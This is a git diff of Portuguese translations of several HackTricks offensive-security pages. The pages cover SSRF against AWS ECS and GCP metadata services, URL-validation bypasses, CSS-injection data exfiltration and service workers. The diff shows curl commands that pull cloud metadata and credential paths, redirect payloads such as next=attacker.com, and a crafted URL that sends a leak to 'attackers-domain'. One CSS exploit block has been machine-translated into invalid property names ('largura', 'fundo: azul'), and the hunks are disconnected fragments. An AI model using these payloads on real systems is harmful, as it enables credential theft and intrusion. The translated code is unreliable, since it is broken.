**ECS**, é um grupo lógico de instâncias EC2 em que você pode executar um aplicativo sem precisar dimensionar sua própria infraestrutura de gerenciamento de cluster, porque o ECS gerencia isso para você. Se você conseguir comprometer o serviço em execução no **ECS**, os **pontos de extremidade de metadados mudam**.
|
**ECS**, é um grupo lógico de instâncias EC2 nas quais você pode executar um aplicativo sem precisar dimensionar sua própria infraestrutura de gerenciamento de cluster, pois o ECS gerencia isso para você. Se você conseguir comprometer o serviço em execução no **ECS**, os **pontos de extremidade de metadados mudam**.
|
||||||
|
|
||||||
Se você acessar _**http://169.254.170.2/v2/credentials/\<GUID>**_ você encontrará as credenciais da máquina ECS. Mas primeiro você precisa **encontrar o \<GUID>**. Para encontrar o \<GUID> você precisa ler a variável **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** dentro da máquina.\
|
Se você acessar _**http://169.254.170.2/v2/credentials/\<GUID>**_ você encontrará as credenciais da máquina ECS. Mas primeiro você precisa **encontrar o \<GUID>**. Para encontrar o \<GUID> você precisa ler a variável **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** dentro da máquina.\
|
||||||
Você pode ser capaz de lê-lo explorando um **Path Traversal** para `file:///proc/self/environ`\
|
Você pode ser capaz de lê-lo explorando um **Path Traversal** para `file:///proc/self/environ`\
|
||||||
|
@ -160,17 +160,17 @@ Em seguida, usamos as credenciais com `aws s3 ls s3://elasticbeanstalk-us-east-2
|
||||||
|
|
||||||
## GCP <a href="#id-6440" id="id-6440"></a>
|
## GCP <a href="#id-6440" id="id-6440"></a>
|
||||||
|
|
||||||
Você pode [**encontrar aqui a documentação sobre endpoints de metadados**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
Você pode [**encontrar aqui a documentação sobre os pontos de extremidade de metadados**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
||||||
|
|
||||||
### URL SSRF para Google Cloud <a href="#id-6440" id="id-6440"></a>
|
### URL SSRF para Google Cloud <a href="#id-6440" id="id-6440"></a>
|
||||||
|
|
||||||
Requer o cabeçalho HTTP **`Metadata-Flavor: Google`** e você pode acessar o endpoint de metadados com as seguintes URLs:
|
Requer o cabeçalho HTTP **`Metadata-Flavor: Google`** e você pode acessar o ponto de extremidade de metadados com as seguintes URLs:
|
||||||
|
|
||||||
* http://169.254.169.254
|
* http://169.254.169.254
|
||||||
* http://metadata.google.internal
|
* http://metadata.google.internal
|
||||||
* http://metadata
|
* http://metadata
|
||||||
|
|
||||||
Endpoints interessantes para extrair informações:
|
Pontos de extremidade interessantes para extrair informações:
|
||||||
```bash
|
```bash
|
||||||
# /project
|
# /project
|
||||||
# Project name and number
|
# Project name and number
|
||||||
|
@ -249,7 +249,7 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
|
||||||
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
||||||
-H "Metadata-Flavor: Google"
|
-H "Metadata-Flavor: Google"
|
||||||
```
|
```
|
||||||
Beta NÃO requer um cabeçalho no momento (obrigado Mathias Karlsson @avlidienbrunn)
|
Beta não requer um cabeçalho no momento (obrigado Mathias Karlsson @avlidienbrunn)
|
||||||
```
|
```
|
||||||
http://metadata.google.internal/computeMetadata/v1beta1/
|
http://metadata.google.internal/computeMetadata/v1beta1/
|
||||||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||||
|
@ -505,7 +505,7 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
A documentação para os serviços de metadados de várias plataformas está descrita abaixo, destacando os métodos pelos quais as informações de configuração e tempo de execução para as instâncias podem ser acessadas. Cada plataforma oferece endpoints exclusivos para acessar seus serviços de metadados.
|
A documentação para os serviços de metadados de várias plataformas está detalhada abaixo, destacando os métodos pelos quais as informações de configuração e tempo de execução para as instâncias podem ser acessadas. Cada plataforma oferece endpoints exclusivos para acessar seus serviços de metadados.
|
||||||
|
|
||||||
## Packetcloud
|
## Packetcloud
|
||||||
|
|
||||||
|
|
|
@ -1,22 +1,22 @@
|
||||||
# Bypass de Formato de URL
|
# Desvio de Formato de URL
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -161,7 +161,7 @@ next={domain}&next=attacker.com
|
||||||
```
|
```
|
||||||
### Desvio de Caminhos e Extensões
|
### Desvio de Caminhos e Extensões
|
||||||
|
|
||||||
Se for necessário que o URL termine em um caminho ou uma extensão, ou deve conter um caminho, você pode tentar um dos seguintes desvios:
|
Se for necessário que o URL termine em um caminho ou uma extensão, ou que contenha um caminho, você pode tentar um dos seguintes desvios:
|
||||||
```
|
```
|
||||||
https://metadata/vulerable/path#/expected/path
|
https://metadata/vulerable/path#/expected/path
|
||||||
https://metadata/vulerable/path#.extension
|
https://metadata/vulerable/path#.extension
|
||||||
|
@ -200,7 +200,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||||
|
|
||||||
### Truque da Barra Invertida
|
### Truque da Barra Invertida
|
||||||
|
|
||||||
O _truque da barra invertida_ explora uma diferença entre o [Padrão de URL WHATWG](https://url.spec.whatwg.org/#url-parsing) e o [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Enquanto o RFC3986 é um framework geral para URIs, o WHATWG é específico para URLs da web e é adotado pelos navegadores modernos. A distinção chave está no reconhecimento do padrão WHATWG da barra invertida (`\`) como equivalente à barra normal (`/`), impactando como as URLs são analisadas, marcando especificamente a transição do nome do host para o caminho em uma URL.
|
O _truque da barra invertida_ explora uma diferença entre o [Padrão de URL WHATWG](https://url.spec.whatwg.org/#url-parsing) e o [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Enquanto o RFC3986 é um framework geral para URIs, o WHATWG é específico para URLs da web e é adotado por navegadores modernos. A distinção chave está no reconhecimento do padrão WHATWG da barra invertida (`\`) como equivalente à barra normal (`/`), impactando como as URLs são analisadas, marcando especificamente a transição do nome do host para o caminho em uma URL.
|
||||||
|
|
||||||
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||||
|
|
||||||
|
@ -215,9 +215,9 @@ imagem de [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-c
|
||||||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
|
|
@ -6,17 +6,17 @@
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -76,9 +76,9 @@ Combinando isso com a seguinte técnica **@import**, é possível exfiltrar muit
|
||||||
|
|
||||||
### @import
|
### @import
|
||||||
|
|
||||||
A técnica anterior tem algumas desvantagens, verifique os pré-requisitos. Você precisa ser capaz de **enviar vários links para a vítima**, ou precisa ser capaz de **inserir o iframe na página vulnerável à injeção de CSS**.
|
A técnica anterior tem algumas desvantagens, verifique os pré-requisitos. Você precisa ser capaz de **enviar vários links para a vítima**, ou precisa ser capaz de **inserir a página vulnerável à injeção de CSS em um iframe**.
|
||||||
|
|
||||||
No entanto, existe outra técnica inteligente que utiliza **CSS `@import`** para melhorar a qualidade da técnica.
|
No entanto, há outra técnica inteligente que usa **CSS `@import`** para melhorar a qualidade da técnica.
|
||||||
|
|
||||||
Isso foi mostrado pela primeira vez por [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) e funciona assim:
|
Isso foi mostrado pela primeira vez por [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) e funciona assim:
|
||||||
|
|
||||||
|
@ -96,7 +96,7 @@ Em vez de carregar a mesma página várias vezes com dezenas de payloads diferen
|
||||||
|
|
||||||
O atacante irá **seguir esse loop até conseguir vazar completamente o segredo**.
|
O atacante irá **seguir esse loop até conseguir vazar completamente o segredo**.
|
||||||
|
|
||||||
Você pode encontrar o [**código original de Pepe Vila para explorar isso aqui**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou pode encontrar quase o [**mesmo código, mas comentado aqui**.](./#css-injection)
|
Você pode encontrar o [**código de Pepe Vila para explorar isso aqui**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou você pode encontrar quase o [**mesmo código, mas comentado aqui**.](./#css-injection)
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
O script tentará descobrir 2 caracteres de cada vez (do início e do final) porque o seletor de atributo permite fazer coisas como:
|
O script tentará descobrir 2 caracteres de cada vez (do início e do final) porque o seletor de atributo permite fazer coisas como:
|
||||||
|
@ -161,19 +161,19 @@ font-family: 'poc';
|
||||||
|
|
||||||
2. **Elemento de Objeto com Texto de Reserva**:
|
2. **Elemento de Objeto com Texto de Reserva**:
|
||||||
- Um elemento `<object>` com `id="poc0"` é criado na seção `<body>`. Este elemento tenta carregar um recurso de `http://192.168.0.1/favicon.ico`.
|
- Um elemento `<object>` com `id="poc0"` é criado na seção `<body>`. Este elemento tenta carregar um recurso de `http://192.168.0.1/favicon.ico`.
|
||||||
- O `font-family` para este elemento é definido como `'poc'`, conforme definido na seção `<style>`.
|
- O `font-family` para este elemento é definido como `'poc'`, conforme especificado na seção `<style>`.
|
||||||
- Se o recurso (`favicon.ico`) falhar ao carregar, o conteúdo de reserva (a letra 'A') dentro da tag `<object>` é exibido.
|
- Se o recurso (`favicon.ico`) falhar ao carregar, o conteúdo de reserva (a letra 'A') dentro da tag `<object>` é exibido.
|
||||||
- O conteúdo de reserva ('A') será renderizado usando a fonte personalizada `poc` se o recurso externo não puder ser carregado.
|
- O conteúdo de reserva ('A') será renderizado usando a fonte personalizada `poc` se o recurso externo não puder ser carregado.
|
||||||
|
|
||||||
### Estilizando Fragmento de Rolagem-para-Texto
|
### Estilizando Fragmento de Rolagem-para-Texto
|
||||||
|
|
||||||
O pseudo-classe **`:target`** é empregado para selecionar um elemento direcionado por um **fragmento de URL**, conforme especificado na [especificação de Seletores CSS Nível 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). É crucial entender que `::target-text` não corresponde a nenhum elemento a menos que o texto seja explicitamente direcionado pelo fragmento.
|
O pseudo-classe **`:target`** é utilizada para selecionar um elemento direcionado por um **fragmento de URL**, conforme especificado na [especificação de Seletores CSS Nível 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). É crucial entender que `::target-text` não corresponde a nenhum elemento a menos que o texto seja explicitamente direcionado pelo fragmento.
|
||||||
|
|
||||||
Uma preocupação de segurança surge quando os atacantes exploram o recurso de fragmento **Rolagem-para-texto**, permitindo-lhes confirmar a presença de texto específico em uma página da web ao carregar um recurso de seu servidor por meio de injeção de HTML. O método envolve a injeção de uma regra CSS como esta:
|
Uma preocupação de segurança surge quando os atacantes exploram o recurso de **Fragmento de Rolagem-para-Texto**, permitindo-lhes confirmar a presença de texto específico em uma página da web ao carregar um recurso de seu servidor por meio de injeção de HTML. O método envolve a injeção de uma regra CSS como esta:
|
||||||
```css
|
```css
|
||||||
:target::before { content : url(target.png) }
|
:target::before { content : url(target.png) }
|
||||||
```
|
```
|
||||||
Nesses cenários, se o texto "Administrador" estiver presente na página, o recurso `target.png` é solicitado ao servidor, indicando a presença do texto. Uma instância desse ataque pode ser executada por meio de uma URL especialmente elaborada que incorpora o CSS injetado juntamente com um fragmento de rolagem de texto:
|
Nesses cenários, se o texto "Administrador" estiver presente na página, o recurso `target.png` é solicitado ao servidor, indicando a presença do texto. Uma instância desse ataque pode ser executada por meio de uma URL especialmente criada que incorpora o CSS injetado ao lado de um fragmento de rolagem de texto:
|
||||||
```
|
```
|
||||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||||
```
|
```
|
||||||
|
@ -189,7 +189,7 @@ Consciência desses mecanismos e vulnerabilidades potenciais é fundamental para
|
||||||
|
|
||||||
Para mais informações, consulte o relatório original: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
Para mais informações, consulte o relatório original: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||||
|
|
||||||
Você pode conferir um [**exploit usando essa técnica para um CTF aqui**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
Você pode verificar um [**exploit usando essa técnica para um CTF aqui**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||||
|
|
||||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||||
|
|
||||||
|
@ -277,12 +277,12 @@ B
|
||||||
**CADB**
|
**CADB**
|
||||||
|
|
||||||
|
|
||||||
Durante essa transição, o **truque de intervalo unicode** é empregado para identificar cada novo caractere à medida que ele se junta ao prefixo. Isso é alcançado mudando a fonte para Comic Sans, que é notavelmente mais alta que a fonte padrão, consequentemente acionando uma barra de rolagem vertical. A aparição dessa barra de rolagem revela indiretamente a presença de um novo caractere no prefixo.
|
Durante essa transição, o **truque de unicode-range** é empregado para identificar cada novo caractere à medida que ele se junta ao prefixo. Isso é alcançado mudando a fonte para Comic Sans, que é notavelmente mais alta que a fonte padrão, consequentemente acionando uma barra de rolagem vertical. A aparição dessa barra de rolagem revela indiretamente a presença de um novo caractere no prefixo.
|
||||||
|
|
||||||
Embora este método permita a detecção de caracteres únicos à medida que aparecem, ele não especifica qual caractere está sendo repetido, apenas que uma repetição ocorreu.
|
Embora este método permita a detecção de caracteres únicos à medida que aparecem, ele não especifica qual caractere está sendo repetido, apenas que uma repetição ocorreu.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Basicamente, o **intervalo unicode é usado para detectar um caractere**, mas como não queremos carregar uma fonte externa, precisamos encontrar outra maneira.\
|
Basicamente, o **unicode-range é usado para detectar um caractere**, mas como não queremos carregar uma fonte externa, precisamos encontrar outra maneira.\
|
||||||
Quando o **caractere** é **encontrado**, ele é **atribuído** à fonte **Comic Sans pré-instalada**, que o **torna maior** e **aciona uma barra de rolagem** que irá **vazar o caractere encontrado**.
|
Quando o **caractere** é **encontrado**, ele é **atribuído** à fonte **Comic Sans pré-instalada**, que o **torna maior** e **aciona uma barra de rolagem** que irá **vazar o caractere encontrado**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
@ -397,29 +397,28 @@ text-transform: uppercase; /* only capital letters leak */
|
||||||
3% { width: 60px }
|
3% { width: 60px }
|
||||||
4% { width: 80px }
|
4% { width: 80px }
|
||||||
4% { width: 100px }
|
4% { width: 100px }
|
||||||
```markdown
|
```html
|
||||||
```css
|
5% { largura: 120px }
|
||||||
5% { width: 120px }
|
6% { largura: 140px }
|
||||||
6% { width: 140px }
|
7% { largura: 0px }
|
||||||
7% { width: 0px }
|
|
||||||
}
|
}
|
||||||
|
|
||||||
div::-webkit-scrollbar {
|
div::-webkit-scrollbar {
|
||||||
background: blue;
|
fundo: azul;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* side-channel */
|
/* side-channel */
|
||||||
div::-webkit-scrollbar:vertical {
|
div::-webkit-scrollbar:vertical {
|
||||||
background: blue var(--leak);
|
fundo: azul var(--leak);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### Exfiltração de nó de texto (III): vazando o conjunto de caracteres com uma fonte padrão ao ocultar elementos (não exigindo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
### Exfiltração de nó de texto (III): vazando o conjunto de caracteres com uma fonte padrão ao ocultar elementos (não requer ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||||
|
|
||||||
**Referência:** Isso é mencionado como [uma solução malsucedida neste artigo](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
**Referência:** Isso é mencionado como [uma solução malsucedida neste artigo](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||||
|
|
||||||
Este caso é muito semelhante ao anterior, no entanto, neste caso, o objetivo de tornar caracteres específicos maiores do que outros é ocultar algo, como um botão para não ser pressionado pelo bot ou uma imagem que não será carregada. Portanto, poderíamos medir a ação (ou a falta de ação) e saber se um caractere específico está presente dentro do texto.
|
Este caso é muito semelhante ao anterior, no entanto, neste caso, o objetivo de tornar caracteres específicos maiores do que outros é ocultar algo, como um botão para não ser pressionado pelo bot ou uma imagem que não será carregada. Assim, poderíamos medir a ação (ou a falta de ação) e saber se um caractere específico está presente dentro do texto.
|
||||||
|
|
||||||
### Exfiltração de nó de texto (III): vazando o conjunto de caracteres pelo tempo de cache (não exigindo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
### Exfiltração de nó de texto (III): vazando o conjunto de caracteres pelo tempo de cache (não requer ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||||
|
|
||||||
**Referência:** Isso é mencionado como [uma solução malsucedida neste artigo](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
**Referência:** Isso é mencionado como [uma solução malsucedida neste artigo](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||||
|
|
||||||
|
@ -431,7 +430,7 @@ src: url(/static/bootstrap.min.css?q=1);
|
||||||
unicode-range: U+0041;
|
unicode-range: U+0041;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Se houver uma correspondência, a **fonte será carregada de `/static/bootstrap.min.css?q=1`**. Embora não seja carregada com sucesso, o **navegador deve armazená-la em cache**, e mesmo que não haja cache, há um mecanismo de **304 não modificado**, então a **resposta deve ser mais rápida** do que outras coisas.
|
Se houver uma correspondência, a **fonte será carregada de `/static/bootstrap.min.css?q=1`**. Embora não seja carregada com sucesso, o **navegador deve armazená-la em cache**, e mesmo que não haja cache, há um mecanismo de **304 not modified**, então a **resposta deve ser mais rápida** do que outras coisas.
|
||||||
|
|
||||||
No entanto, se a diferença de tempo entre a resposta em cache e a não em cache não for grande o suficiente, isso não será útil. Por exemplo, o autor mencionou: No entanto, após testes, descobri que o primeiro problema é que a velocidade não é muito diferente, e o segundo problema é que o bot usa a flag `disk-cache-size=1`, o que é realmente atencioso.
|
No entanto, se a diferença de tempo entre a resposta em cache e a não em cache não for grande o suficiente, isso não será útil. Por exemplo, o autor mencionou: No entanto, após testes, descobri que o primeiro problema é que a velocidade não é muito diferente, e o segundo problema é que o bot usa a flag `disk-cache-size=1`, o que é realmente atencioso.
|
||||||
|
|
||||||
|
@ -467,7 +466,7 @@ Portanto, se a fonte não corresponder, o tempo de resposta ao visitar o bot é
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -479,7 +478,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
|
|
@ -16,7 +16,7 @@
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -33,23 +33,23 @@ Service workers existentes podem ser verificados na seção **Service Workers**
|
||||||
|
|
||||||
### Notificações Push
|
### Notificações Push
|
||||||
|
